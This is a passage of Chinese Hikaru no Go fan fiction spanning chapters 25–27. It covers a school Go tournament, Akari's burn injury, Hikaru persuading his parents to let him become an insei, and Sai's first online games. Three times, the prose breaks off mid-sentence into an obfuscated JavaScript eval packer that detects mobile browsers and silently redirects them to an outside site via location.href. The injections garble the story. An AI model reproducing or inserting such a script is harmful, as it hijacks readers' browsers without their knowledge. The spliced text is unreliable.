“当然可以,再好不过。也许你可以看到我们学校的围棋社的精彩表现也说不定……”校长的脸上堆满了笑意,“就在这条走廊的拐角处,你看,就是那里……” 塔矢亮原本带着遵从进藤光的意愿看一看就算完事的心态在向前走,其实今天本应在塔矢家举行围棋研究会,但检讨的棋局的主角——进藤光——却说这个时间他“必须去海王中学办点事”,因此研究会都特意改期到了下周。进藤到底要去海王做什么?抱着这样的好奇心,亮才选择在周日拜访海王中的校长。 巧合的是,两人一拐弯,正好撞见了回到场地内的进藤光被负责人训话“不许再犯”的场景。那里还摆着他和久原木子郎下到一半的棋盘。 亮听到不少路人正围在旁边谈论那局棋的精彩之处,或许是棋局的水平实在太高了,原本最受瞩目的应该是即将进行决赛的海王中学选手,可现在莫名其妙就变成了半路折戟的叶濑。 “进藤。”亮叫出了念念不忘的名字。 负责人的思路被突然闪出来的塔矢亮和校长打断,他扭过头一看,发现塔矢亮正紧紧盯着光的方向,两个人似乎相熟。光对他挤出一个微笑。 塔矢亮一惊。今天的进藤为什么要梳成不良少年的发型? 呃,光不由自主地摸了摸脑门上的发胶。真是尴尬,明明叫塔矢亮来观战的人是他进藤光,结果还好巧不巧正好在被抓包的时候遇到了他……早知道就应该再打扮得另类一点,叫人完全认不出来才是。 而加贺身子一僵,因为他看到了多年不见的死对头就站在那里。 这并不是偶然,塔矢亮的眼神热切地凝视着光的脸,加贺知道,他们绝对不是第一次见面。进藤光没有说谎。 进藤光吸引着塔矢的目光,加贺感到很神奇,但是想到光高深莫测的棋力,再想想塔矢亮被誉为天才少年的事迹,这似乎也没什么好惊讶的。围棋的圈子并没有那么宽阔。实力越强的人,就越只想和强者在一起对弈,这是理所当然的。 只是…… “塔矢,你终于来啦?”进藤光刚刚还强迫自己露出的愧疚神情一下子烟消云散,脸上止不住的喜悦,“真可惜,我已经下完了。要不是被抓包的话,你应该能看到我参加决赛呢。” “这是怎么回事?” 校长莫名其妙地看着这群国中生,光很明显正在被询问,旁边的筒井则可怜巴巴地袒护着光,还有一个加贺一脸满不在乎的样子帮筒井辩解“反正再有俩月他就入学了”,造成了极大的骚动。 “校长,实际上……”负责人只好再解释一遍前因后果。 明白事情原委之后,叶濑中学被无可奈何地取消了参赛资格,这也是原本就板上钉钉的事。塔矢亮无言以对地看着进藤光的一脸傻笑,对方却开心得很,好像刚刚被罚下场的那个人不是他一样。 “唉,其实我还想帮叶濑中拿下一个冠军奖杯来着,真不凑巧……” “我就知道会出岔子。”塔矢亮冷静的眼角带了一点无奈,“你来这种场合参赛本身就不慎重,更何况还要伪装身份。这样冒失的人,围棋怎么会下得那么好。” “那是因为……总而言之……你没看到我的英勇身姿真是太遗憾了。刚刚这局棋我们下得很不错哦!” 对玩笑完全不感冒的亮只再次无语地瞪了光一眼。 假扮中学生参加比赛,亏他想得出来……被发现才是正常的吧! 而后亮的视线被桌上的棋盘吸引了。他起初只是扫一眼,但却越看越仔细,眉宇之间也多出了一分凝重。 他注意到了。久原不禁紧张得抬起了双肩。那只是普通的中学业余比赛的普通的半决赛的棋局,他没理由在意,一种被审视的期待与恐惧同时出现在久原的脑海,但很快,亮就转过身去。 塔矢亮的手上还挂着一件定制的西装外套,看得出他此行的主要目的并非观战,久原本以为他会直接离开,这种水平的棋,在职业等级的塔矢亮眼中应该不值一提才对。 但是,久原鼓起勇气一看,发现塔矢亮的眸子里就写满了愉悦。 那双墨绿色的眼瞳里,闪烁着某种光芒。 “是一局好棋。”塔矢亮轻声说。 这句短暂的点评之后,他便坐到不远处的另一张桌前,上面还有一块刚刚在比赛开始前各个学校练习用的棋盘,塔矢亮很自然地打开了棋罐,进藤光也很快跟去了他对面,两个人似乎养成了见到棋盘就随时来一局的习惯。 亮并未料到,自己看似不经意的、自言自语的表扬,轻而易举击穿了与他擦肩而过的另一人的心脏。 刚才亮没有认出他是谁,这很正常。以前还是院生时,久原与亮交过一次手,那是在一次由棋院主办的小型围棋交流会上,塔矢行洋带着亮过来观摩,正好在场的小孩只有久原一个人,于是亮就做了他的对手。时隔多年,亮已经完全忘却了那段回忆,忘了那场久原输得惨不忍睹的对局,也忘了当时对手的脸。 但隔着漫长的岁月,这句未经修饰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220544|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的赞美,再一次唤醒了沉睡在内心深处的、某个少年对围棋的热爱。 久原愣在原地,久久不能回过神地望着那方棋盘。 半晌,才微微翘起嘴角。 “……为什么偏偏是在我放弃之后啊。” 佐为面带微笑地看着眼前的少年。一滴眼泪啪嗒落在相机镜头上。不要哭,佐为用口型这样安慰着少年。一定是因为还是喜欢围棋,他才会选择用其他方式延续对围棋的关注吧,那镜头里记录的诸多棋局,就是最好的证明。也多亏了小光,他才会想起曾经的感动。 如果这份感动尚未熄灭的话,他们将来……也会在别的地方再次相聚。 见到此景,佐和良中学原本的主将走上前来,默默给了久原一个拥抱。在他之后,副将和三将也轮流轻拍他的后背。 他们真正的决赛,佐和良vs海王,就要开始了。 另一边,加贺勒令同样泪眼朦胧的筒井擦干眼泪,然后也搬来了张凳子坐在塔矢亮和进藤光对局的棋盘旁边,开始像模像样地观战起来。 说实话他很讨厌塔矢亮,却也完全不认为荒废了这么久围棋的自己能下得过如今的塔矢亮,所以听到光用塔矢激他参赛的时候,加贺只是在逞口舌之快罢了。没想到会真的在这里遇到他。这么久不见,也不知他成长到了有多吓人的地步。 比起海王中学半桶水的决赛,他更期待这两个天才小学生的巅峰对决,一定比围棋道场里那些小孩子过家家一样的棋有意思多了。 “那边那个人不是塔矢亮吗?” “啊?” 以加贺为首,原本围观海王中学对阵佐和良中学的决赛的其他人也注意到了在门口对弈的光和亮。 “塔矢亮来这里做什么?看比赛?可是为什么他会在和别人下棋?” “诶?他的对手不就是刚刚那个被罚下场的叶濑主将吗?” “那个小学生?!” 他们都惊讶得合不拢嘴。一来二去,聚拢过来的人越来越多,围观塔矢亮和进藤光对弈的人反而逐渐增多了,大有超过看海王的人数之势,一时间竟然显得这里才是比赛的焦点了。 结果就是,原本应该备受瞩目的北区中学围棋大赛佐和良中学VS海王中学的决赛,演变成了进藤光VS塔矢亮的友谊赛。 “这手拆简直是无理!” “你才无理呢!你每一步都无理!我知道你肯定会觉得这是无理才这样下的嘛!要不然你就不会被骗了啊!” “……好吧,姑且认为它有一定的合理性,但是如果我不这样应对,你不就死定了吗?”塔矢亮冷静地退让道。 “就算是死定了,也只不过死这一小块而已,我还是比你强!”进藤光毫不示弱。 “你这样的态度从根本上就是错误的!”塔矢亮义正言辞。 “围棋哪里会没有风险?为了取胜付出一点赌博的勇气又有什么关系?”进藤光厚颜无耻。 “赌博?你竟然把围棋说成是赌博?”塔矢亮略微不满。 “我哪有把围棋说成是赌博?你不要以偏概全!”进藤光忿忿不平。 记得从前,他和亮互相试探棋路的时候,常常会下出极其无厘头的招式,他们总是为了简单的一步吵得天翻地覆,忘记自己身在何处,也忘记了周围的路人的视线。现在回忆起来,那时的他们真是彼此心中最可恶的存在。 最可恶的存在,却又紧密相连。 没有比这更棒的对手关系了。 一阵微风拂过,浮云如流动的雾气一样四散开来,退让出了一片湛蓝色的天空。 一局下完,神清气爽的进藤光这才开始有功夫思考别的问题。从细碎的空气里传来淡淡的不安,进藤光隐约察觉到了异样。 他好像忽略了一件事。 “咦,为什么……” “怎么啦,小光?”佐为不明所以地发出疑问。 “明明说她要一起来的,为什么到现在还没来?”进藤光的神色有些不自然,“也迟到太久了。她不是会放鸽子的人啊。” ●○●○ 26.Chapter 25. 被改写的命运 “明……你是指藤崎小姐?”塔矢亮微微侧过头,耳畔的墨绿色碎发轻轻摇曳。 他好像记得进藤光提起过这个名字,那位是他的青梅竹马吧?曾经有一日,还同他一起来到了围棋会所参观来着…… 此刻的进藤光只能胡乱点头:“没错。” 他没有冷静思考的闲暇。 “会不会是忘记了?” 佐为“嗯……”地想了想,只能得出这个答案。 “不会吧,她老爱缠着我,也说好了要一起来的,怎么可能无缘无故忘掉这么重要的事!” 进藤光有一点担心,毕竟这样的意外情况今天已经是第二次发生在重生的他身上了。第一次是对阵佐和良中的主将变成了久原,这可以解释为光的实力太强、受到了不必要的关注;但藤崎明今天一整天都不在,就太不合理了。 她为何迟迟未到?这不符合她的个性,也不符合他的记忆。他不敢再想下去。然而,空气中是死寂也仅仅维持到这里而已。 “我还是给她打个电话吧。”光扶着桌檐站起来,脸色不太好看,“复盘到这里大概也差不多了,塔矢,你要回去吗?” “没事,你先去解决你的问题。” 好在塔矢亮从来不计较这些小事,和颜悦色地点点头。 真正应该感到难过的人其实是一心想赢得比赛的筒井,而加贺则只是目不转睛地盯着塔矢亮。自从离开围棋班之后也就几年时间,塔矢亮给人的感觉似乎更加温和了,虽然外表上比以前还要冷漠,但是在为人处世方面有了极大的进步。 加贺突然觉得有点讽刺。 进藤光大步离开赛场,身后一群围观的群众莫名其妙地注视着他。 佐为急急忙忙跟上光的脚步。 今天发生的事并没有值得光如此担心的地方,佐为不明白,他怎么会露出那样不解的表情。 “——塔矢亮。” 见进藤光心事重重地走掉,筒井本想拉着加贺一同逃离这个地方,加贺却忽然叫住了塔矢亮的名字。 塔矢亮轻微皱眉:“有什么事吗?” 加贺不以为意地挠挠自己的头发:“棋,下得确实不赖。” 紧接着,在亮略带错愕的目光下,他大大地伸了一个懒腰。 他竟然感到通体舒畅,真令人不可思议。长期积压在加贺心里对围棋的遗憾及烦闷,还有其他种种的心情,都在此时彻底烟消云散。对加贺面言,围棋已成过去,将棋才是他的未来。 那个刹那,他的眼睛不期然地与塔矢亮对上了。 塔矢亮看着加贺的眼神丝毫没有动摇,不知是已经对他毫无记忆,还是加贺在他心里一点威胁分量也没有,已经不得而知。 虽然心里有点怅然,但加贺并不愤恨。擦肩而过的重逢,也是人生的一部分。如果有缘,必定还能再次相遇。 他一直,这样相信着。 镜头拉向急匆匆在海王小卖店借电话打给藤崎家的进藤光和佐为。 拨打的号码是藤崎家,可接电话的却是进藤美津子。她向光解释了前因后果,也解释了自己出现在藤崎家的原因。 进藤光瞪大了眼睛,难以置信地愣在原地。某种金色的光芒在瞳中反射出他的惊愕,时间一点一点地流逝,他依旧保持着原来的姿势,身体僵硬得不听使唤。 “哈?烫伤?!!” 一开始他还以为是自己听岔了。 美津子妈妈的心情也并不好,“是啊,不小心打翻了热水,刚从医院检查回来,你由美阿姨说没有什么大碍,养几天就能恢复了。我也很担心呢,所以才过来看看。” “怎么会……严重吗?我这就回家!” 还好不是什么更糟糕的意外。即使听到这不幸中的万幸的消息,进藤光的心情也还是高昂不起来。 在他印象里,乐观活泼的藤崎明一直运气贼好,从来没被这样的事困扰过。 重启人生最怕的就是预料之外的变化。他无法理解为何会发生这般变故,过于依赖经验的他,一直很害怕未来和自己想象得不一样,毕竟他只是多下了十年棋,又不懂超能力,更不擅长钻重生规则的漏洞,要是真出现了什么蝴蝶效应,那他也毫无还手之力。 不论是对佐为的事,抑或是……其他的全部…… 令进藤光感到些许安慰的是,等到他们不安地带着新鲜的水果前往藤崎家时,明明已经笑容满面地举起了右手:“小光!你们来得正好,现在还能赶上一顿晚饭呢!” 她虽然气色不太好,手指上缠了几圈纱布,但是精神确实还不错的样子。倒的确是不幸中的万幸了。 “你没事吧?明明?” “瞧我这么毛毛糙糙的,居然会倒开水的时候头晕,一不小心就烫到了……哎呀没事的,医生说不会留疤的。” 明明脸上挂着的笑似乎是在掩饰自己的慌张,进藤光善解人意地错开了她的眼神,不再逼迫她回想起这恐怖的经历。这种时候,自己还是继续扮演那个大大咧咧的进藤光比较好。佐为就没有这种顾忌了,他一下飞到明明身边,同情地看着她的伤势,还好,不是很严重。 “头晕?低血糖吗?”由于身体原因也多次去医院检查打转的美津子大惊失色地捂住胸口,“才这么年纪轻轻……” “不……阿姨您误会啦,我只是昨晚熬夜下棋有点累了而已!”明明连忙解释道。 “熬夜下棋?” 听到这四个字,进藤光满脸狐疑地看着她。 老天爷,这可是最不应该出现在藤崎明身上的四个字。 明明眸中的亮光稍稍黯淡,略带羞涩地说:“嗯,因为小光你都要去参加那么厉害的比赛了,我却还是什么都不会,什么都不懂……好不容易下定决心要去围棋教室,白川老师却说我的经验不够,所以我一直在打谱……心想要是能学得快一点,就能知道小光为什么这么痴迷围棋了。” “哎呀,连我都不知道。”美津子再次惊讶地捂住了脸颊,“小光下棋很厉害吗?我只记得前两周他从爷爷家搬来一个大棋盘。” “对对对!就是从那阵子开始的!叶濑中学的前辈说他下得像职业棋手一样好呢!”明明连连点头。 “熬夜下棋……吗……?” 进藤光还是怎么也想不到会是这样奇怪的理由导致了一起事故。 不过,那个藤崎明竟会拼命练习围棋,这让他有些感动。 在回来到十年前的世界的时候,进藤光曾经对自己的内心说过,要开创另一个未来,一个谁也不会受伤的未来。那时他并没有想太多,没有预料到周围的人在自己的影响下产生的那些变化,究竟会带来怎样变幻莫测的因果。 是因为他教明明下棋更认真了?还是带她去看棋的频率更高了?还是单纯因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在讲棋讲得口干舌燥、终于送走似懂非懂的藤崎明后,光怔怔地坐在棋盘旁,佐为不禁出声提醒他。 “啊!我走神了。现在我们来对弈吧,佐为!要为之后和塔矢老师的第二次对局做准备呢!” 抬头正对上佐为温暖的目光,他不由自主地流露出一抹灿烂的微笑。 不管会发生哪些不一样的事件,能决定自己未来的人终究缺少不了自己,这一点,他花费了二十多年才慢慢领会到。光抚摸着面前这只古老的浮木盘。没问题的,血迹还在,佐为还在,只要佐为还能陪在自己身边,那他就什么困难都能克服。 命运带来的挑战永远都是好坏参半的,棋手该做的不是回避风险,而是在风险中谋求最佳的一手。 “好!我决定了!明天就跟爸妈摊牌!” “摊牌?”佐为被他忽然恢复的气势吓了一跳。 “我要去做院生的事还没跟他们说呢!要说服爱操心的妈妈可不容易啊。” 他要更多地应用自己的力量,不仅为了追求梦想,还要保护更多更多的美好,越是珍惜如梦似幻的岁月,越是能够感觉到像青鸟一般腾空而起的战意。 来吧!所谓的命运!我绝对不会轻易放弃这一次改写世界的机会! 对吧,佐为? ●○●○ 27.Chapter 26. sai,重出江湖 星期一晚餐后,进藤家的家庭会议在光的主导下开始了。 一家人围坐在餐桌边,爸爸妈妈坐左侧,光和佐为坐右侧,仪式感十足。三人就像举行一场法庭答辩一般、你来我往地丢着抛接球。 检察官进藤美津子首先发言:“院生……是什么?棋院是学围棋的地方吗?” 被告进藤光坐姿端正,接受质询:“对,就在日本棋院。这个机构很正规,网上可以查得到的。” “围棋什么的我一窍不通,但是学棋非得去那么远的地方吗,车站前面不就有围棋教室吗。” “我承认白川老师是个优秀的入门教师,不过他的棋力没有我强哦。院生是职业棋手的预备役,大家以后都是冲着职业去的,不在棋院不行啦。” “诶……可是……职业棋手什么的……我还以为你只是吹吹牛……” 或许是光的话太过令人感到难以置信,一时间屋内居然没有一个人说话,偌大的餐厅里安静得能听见光呼吸的声音。 光有些紧张,他自认为有把握兑现自己的承诺,但是要在这种情况下说服父母并不是件容易的事。有哪个负责的家长会放心自己调皮捣蛋且之前对围棋一无所知的孩子突发奇想说要去专门下棋?如果他们坚持不肯的话倒是个大麻烦。 “小光,这话可不是随随便便说着玩的。”裁判长进藤正夫揣摩着儿子的心思,压下心头的怒火,说,“我希望你不是一时冲动。你知道职业棋士的世界是什么样子吗?你知道以下棋为生有多么困难吗?搞不好的话——” “我知道啊。”光的声调突然凝重得可怕。 光的脑海里不由分说地浮现出一副熟悉的画面。 他和塔矢亮,面对面地站在下着倾盆大雨的街道上,亮就那样看着他。 “什么稍微当一下职业棋士?你知道棋士有多崇高吗?” “忍耐、努力、辛酸、痛苦。甚至绝望!即使克服这一切,还是有人到达不了那个崇高的地位!” “我在父亲身边看过太多这样努力的棋士。我也是抱着觉悟,努力地走了过来!从小,我每天都下好几个小时的棋。不管有多痛苦我都忍了过来。” 不停地失败、觉得自己很没用,尽是这些不安的感觉。费尽心思,可是结果还是不如预料的低潮戚。然后在经历长时间的失败尝试后,最后终于想到绝佳的棋步,却在一子之内就被锁死的震撼。 不能逃避这种种苦难,而要勇往直前地去克服。亮就是因为克服了,才得到棋艺和自信。 所以现在的光,有点想流泪的冲动。他总算是明白了塔矢的话语,也很感激神明能给他一次从头来过的机会。 他不想让那时的懊悔再度上演。一点也不。 “我知道。所以我才要做职业棋士!”他终于觉得自己可以心平气和地谈论这个问题,然而,身上沉重的压迫感还是那样令人窒息,“就是因为知道职业围棋有多残酷,我才想挑战这条路。” “就算你有这个觉悟,职业也不是简简单单能考上的吧?” 被告使用证据反驳:“我也很厉害的啦,嗯……要是拿考大学比喻的话,现在我的水平差不多是东京大学工学部哦,虽然没有医学部那么夸张,但也能打败99%的对手了。对了!塔矢名人……还是拿考大学来比喻,塔矢名人就相当于东大的正教授,我的入学推荐信就是他写的哦,这是一件很荣耀的事!这么说你能懂吗?” “妈妈不知道这些……但是,上面写到偶尔需要学校那边请假,会影响学习吧?” “不会不会,初中我还是会好好念完的啦。” “什么叫初中还是会好好念完?你一定要读高中啊!不然以后怎么找工作?” “职业棋手就是工作啊!我可是相当于提前拿到内定了!多少人羡慕都来不及?” “下棋怎么可能是稳定的工作?至少也要有高中毕业证才行。” “可是……” “……好吧。” 出乎意料地,正夫在短暂的停顿之后说出了这句话。 “亲爱的?”美津子惊讶地看着他。 “如果你可以在一年以内考上职业,我就同意你退学。在那之前,在学校还是必须按时出席,并且考试必须保持在年级前50名。做不到的话……” “我一定能做到!” 正夫给出的条件苛刻过头,但是对于如今的光来言,却并不是不可能的梦想。 “小光,你别倔了,你才学下棋多久?一年根本……”美津子虽然是家庭主妇,但也或多或少对棋牌类的体育赛事略有耳闻,如果人人都能只用一年的努力就成为职业比赛的选手,那怎么可能还有人为生计发愁? “半年就足够了。今年8月,我会带着职业考试通过的好消息回来。” 光露出一个淡淡的,却异常坚定的微笑。 “小光……”佐为震撼地迎上光的侧脸。 他看见光在用口型告诉他”没问题”。佐为忽然安心下来,也不知从哪里来的直觉,让他对光有种奇妙的自信。这孩子许下的一切诺言,最终都会靠自己的力量实现。 最终审判,裁判长一锤定音——被告进藤光,必须在明天的春季学期摸底考试中斩获年级前50名,才可以去日本棋院做院生。 不过,为什么是年级前50啊?!这要求也太高了!进藤光不理解,明明上辈子他记得随便说几句就糊弄过去了!这辈子反而变难了!一定是因为前几周自己学习进步太快、反倒给了爸妈“这孩子说不定努力能成才”的幻觉!让他们加大了培养进藤光成为优秀大学生的期待!这下他不得不加倍用功了。 急于炫耀成年人头脑的进藤光,最终自食恶果。 星期二放学后,进藤光愁眉苦脸地走在回家的大道上。 “唉……今天的题好难喔,前50名是不是有点悬……早知道就不答应第二个条件了。” 本来想说考砸了出去转转,但他突然体会到了小学生的局限性:手头没几个钱去不了太远的地方,穿校服在街上闲逛容易被警察问话,晚上8点出门会被路人提醒注意安全,周一到周五还要浪费40个小时在无聊的课程上,明明他只想去外面找人对弈! 就算不能下棋,去书店看看最近出版的棋谱也行,总比在教室坐到屁股都痛强吧。可是那些书也一本比一本贵,以他微薄的零用钱根本负担不了。 这不,口袋里就剩500日元了。 “打起精神来呀,小光!”佐为挥舞着长长的袖子给他鼓舞士气,“乖乖写完作业,我再陪你下棋!” 进藤光不禁哑然失笑,他已不是小孩子,佐为却像对待小孩子一样宠着他,让人又感动又好笑。如果当初,自己也能多懂得佐为一点点的话,能让佐为多下一点点棋的话,也许佐为就不会…… 不,现在该做的不是唏嘘过往,而是把握当下才对。 “好!那历史作业就交给佐为完成了!” “还是自己完成比较好吧?” “和你一起效率比较高嘛!——啊。” 走着走着,进藤光猛地停下脚步,他看见了转角处那家熟悉的网络咖啡厅,正是三谷姐姐做过服务员的地方。 对哦,网上的sai是全世界与佐为连接的交点,如果他想不留遗憾的话,sai的账号也要重新建起来才行。趁现在自己兜里还有最后一枚500日元,不如…… “怎么了,小光?”佐为顺着他的目光望去,好奇地感叹起来,“咦,好多神奇的方盒子,跟你家那个方盒子长得不太一样,但是里面的东西都会动耶!” 光无奈地解释:“我家那是电视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260597|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会播放人工录制好的影像,这里都是电脑,比电视厉害多啦!” “电脑?那是什么?” 又开始了,藤原氏十万个为什么。不过给一个对现代文明一无所知的幽灵讲解科技树的发展还蛮有趣的。 “电脑就是可以做各种各样的事的工具。” “我怎么觉得这个回答有点……笼统?” “我很认真的说!过不了几年,这东西就会诞生改变世界的商机,说它是把全球连接起来的魔法也不为过。像是买东西啦,找人聊天啦,写作啦,算账啦,预测天气啦,什么都可以做。” 其实像光这样穿越十几年的人不去从商还真有点浪费,因为他正处于一个网络社交工具萌芽的黄金时期。不过,他要是真只想着赚钱,也不可能因为秀策的棋谱被上天一秒传送回十年前了。 “哦……”佐为似懂非懂地点点头,“那能不能下棋呀?” 果然还是那个围棋脑。 “当然可以!佐为,你想不想在网上跟别人下棋?” “要要要!不过在网上……是指?” “总之你跟我来吧。” 他们付过钱,被一个服务员领到电脑桌前,光还记得佐为第一次看见电脑也能下棋的时候一直兴奋地拿扇子敲主机机盖的情形,那样子别提有多逗了。 “佐为,这样一来你就可以跟世界各国的棋士足不出户地对局啦!” 进藤光打开围棋网的页面,得意洋洋地介绍着,明明他根本没有什么好得意的地方。 “什么意思?”佐为“唔”了一阵子,没有见识过如此高端的现代文明的他不理解也是情有可原。 “你看着就好了。” 进藤光紧接着注册了一个名叫“sai”的用户名,很好,还没有别的用户抢占这个名字。他还记得上辈子sai爆红之后,不少网友假装成山寨sai再次出现在网络棋坛上,却没一个能打的,让期待sai的一众棋友格外失望。再后来,渐渐就没有人再用这个名字下棋了。 内心充满悲凉的进藤光发誓,这辈子他一定不能中途放弃网棋。若是佐为还想一直下棋,sai就是他最佳的手谈窗口。 也是他唯一能以真实身份与他人对话的地方。 在这里,sai是真实存在的。即便他平安时代的敌人消抹他在史书上的存在,即便秀策身边的人都不知道秀策身后藏着这样一位魂灵,在平成年代,sai也是真实存在的。 “让我看看,和谁下第一局呢……” 光浏览着等候室列表,这个年代的网棋功能还很简陋,没有实力匹配、或者随机推荐,他只能凭本能随便找了一个在线的棋友“you”申请对局,对方欣然应允。 “哇!棋盘!棋盘出现在盒子里了?”佐为一惊一乍地注视着屏幕。 还是和原来的佐为一样,大惊小怪的啊……进藤光无可奈何地笑了笑。他喜欢这样自然的佐为,就像什么话都能对他敞开心扉地说。 “还是像在我家那样,你告诉我你想下在哪里,我帮你落子。”光把座位稍微挪开,以便佐为能够更清楚地看到盘面。 佐为兴高采烈地举起扇子,“明白了!我是黑棋吗?” 电脑自动猜先这一点让光觉得不如实战有趣,但是确确实实能省去一番功夫。 “嗯,我们先下。” 光刻意加重了“我们”两个字的字音。 聪明如佐为怎么会不知道他的意思,于是鼓舞气势道:“好!让我们上吧!” 如这般并肩作战的感觉,光一直都非常喜欢,以前大概是因为可以同佐为分享获胜的喜悦,现在却是因为他能够更加清晰地感觉到佐为的存在。 二人亲密无间,默契如一人,一起朝着神之一手的方向前进。 ●○●○ 28.Chapter 27. 被sai击败的三个男人 同一时刻,不远之外的柴田家。 柴田家的围棋会所开在一所小学旁边,主人柴田浩一是曾经得到日本棋院授予段位证书的二段,无奈之后棋艺未有存进,转行去做生意,又用做生意赚的钱投资办了这家“千岁围棋沙龙”,旨在传扬跨越千年时光的围棋精神。 原本,柴田家的儿子柴田悠一在光的上世并没有跃入光的视线。他在会所和塔矢亮下过一局棋,结果当然是惨败,本人又一直在院生二组徘徊,最后也没能升入一组,自然也不可能被天赋时运俱佳的进藤光注意到。 没想到神奇的是,此番光提前让佐为在网路上下棋,遇见的第一个对手竟然歪打正着地落在他身上。 “这……这实力……” 悠一坐在电脑前的身躯格外沉重,才下了这么几十步而已,他就被sai完完全全地击垮了。 自己从小就在父亲的影响下学围棋,现在也是正儿八经的院生,水平怎么都不能算差,在网络围棋这种业余棋手才喜欢流连的地方居然能遇到这么高明的敌手,让他如何不感到难以置信。 “从一开始,我就彻底处于他的阴影之下!sai,到底是何方神圣……” 他握紧双手,冥思苦想着这一局的漏洞,却怎么也想不出可以反败为胜的方法。 实力的鸿沟实在太大,他非常讨厌这样看不透对方的感觉。和塔矢亮下棋的时候就是这样。所以他才拜托父亲,以后不要带塔矢亮来会所了,他很清楚自己没有和对方交手的资格。 而今面对sai时,不仅仅是看不透,甚至可以说是连捕风捉影都难于登天。 明明只是想下一局随缘棋放松一下而已,这下可好,完全放松不下来了! 他咽不下这口气! “悠一,你已经把自己关在书房很久了,出来休息一下吧?”悠一听到门外传来父亲的声音。 父亲柴田浩一向来重视自己的身体,因为他在职业棋士的生涯里最遗憾的就是由于练棋缺乏体魄锻炼而落下了体弱的病根。 “爸爸,有局棋想让你看看。”悠一下定决心非研究出这个sai的花样不可,于是干脆请教自己的父亲。 “棋?” 浩一来到电脑前,仔细端详着那一局的棋谱。网上的棋自带回顾功能,复盘起来很方便。他一看对局时间,也就是今天傍晚的事,两个人才下了不到半小时,战斗就结束了,结果是自家儿子中盘认输。可能是这小子轻敌了吧? 刚开始的时候他尚能保持轻松的面部表情,看着看着,他的神色便越来越凝重,最后看到悠一投子认负的那一步时,他的脸上已经写满了震撼。 “怎么样,爸爸?”悠一急于得到回答。 浩一抓住椅背,目不转睛地说:“悠一,这个对手毫无疑问是职业级别的棋士,而且如果我没猜错的话,起码也是三段以上的棋力!” 浩一的话还没有说满——他觉得有点奇怪,为什么这位高手的棋风会像极了古籍上的套路? 单凭古代定式能够下到这个地步,可见那人对围棋本身的体悟已达到炉火纯青的境界。 塔矢名人?绪方精次?座间王座?一柳棋圣?不,受现代知识熏陶已久的他们都不可能下出如此古老的步法。 在有名的职业棋士里,他还真不记得有过这样一个人。 “三段以上……” 悠一有些退缩地看着棋谱,他知道地方很强,但是强到这份上却是他意料之外的事情。 职业棋士的个数始终有限额,哪怕只是初段也很了不起了。他疯狂地想要成长起来,直到自己能够看懂sai的棋力到底有多深为止。他不想一辈子碌碌无为,输给一个来历不明的职业棋士,还不知道自己到底输在何处。 可见,对于心高气傲的人来说,佐为的引导作用得到了最完美的发挥。 当事人自己却完全不知道这回事。 “佐为,还要下吗?” 光在取得胜利之后停下来喝了点水,他没钱点饮料,只能用免费的白水解渴,但内心的充实感还是让他觉得嘴里甜丝丝的。因为下棋而脸色发红的佐为也觉得心里甜丝丝的。 佐为的回答可想而知:“要!小光你真是太好了!” “嘿嘿……”光心满意足地点点头,“那就来找一个厉害点的人下吧,我看看,胜率最高的是……” 在线的棋士里,光突然瞄到了“zelda”的名字。 “啊,和谷!”他禁不住喊出口来。 佐为一头雾水。他发现小光总是认识很多他不知道的人,而且对方还往往都不认识小光。 小光居然在这个小盒子里也有认识的人吗? 要是光知道佐为在想什么,肯定会让他纠正一下措辞——毕竟在“小盒子”里的人听上去也太阴森了。这个zelda可是阳光大男孩,彻彻底底的“阴森”的反义词。 zelda本名和谷义高,从始至终都是光最好的哥们之一,跟光也很少起争执,人缘在邻届院生中仅次于伊角,是不折不扣的大好人。每次光捅了篓子之后,都是他和伊角帮忙收拾烂摊子,光一直对他心怀感激。同时,他也是光非常重要的对手。 虽然比不过塔矢,但和谷在同龄棋手里怎么也算得进第二梯队。 “这里有个熟人。佐为你就跟他下试试看吧。”光高兴地把和谷推荐给了佐为。 “嗯!没问题!” 佐为自然是想都没想就同意,他压根不在乎对手是哪家的阿猫阿狗,只要能对弈就再好不过。 可想而知,我们的小和谷又被虐惨了。 “啊啊啊啊啊啊——”和sai扣人心弦的棋局结束之后,和谷抱着头哀嚎,“这怎么可能啊,真是——” 与森下老师同等级的杀气,超一流的棋感和计算能力,对胜出的绝对把握,这个家伙不是人!不是人啊!! 某种意义上他倒是猜对了。 冷静下来之后,和谷才发现自己压着泡面的手都把盒子摁变形了。 “好烫!这个sai,究竟是什么来路啊……” 他懊恼了一会儿,忍不住点进sai的对局记录去看,发现这个账号是今天才刚刚注册的,整个人都不好了。 他可是院生一组里的前三名,连他都轻易败下阵来,这对手肯定不简单。和谷憋来憋去,最后还是没忍住,用键盘打了句“你是谁”的消息,点击发送。 上辈子进藤光还不会打字,只能拜托三谷姐姐帮忙回了句小孩子脾气的话,还一度导致马甲被揭穿,场面十分尴尬。 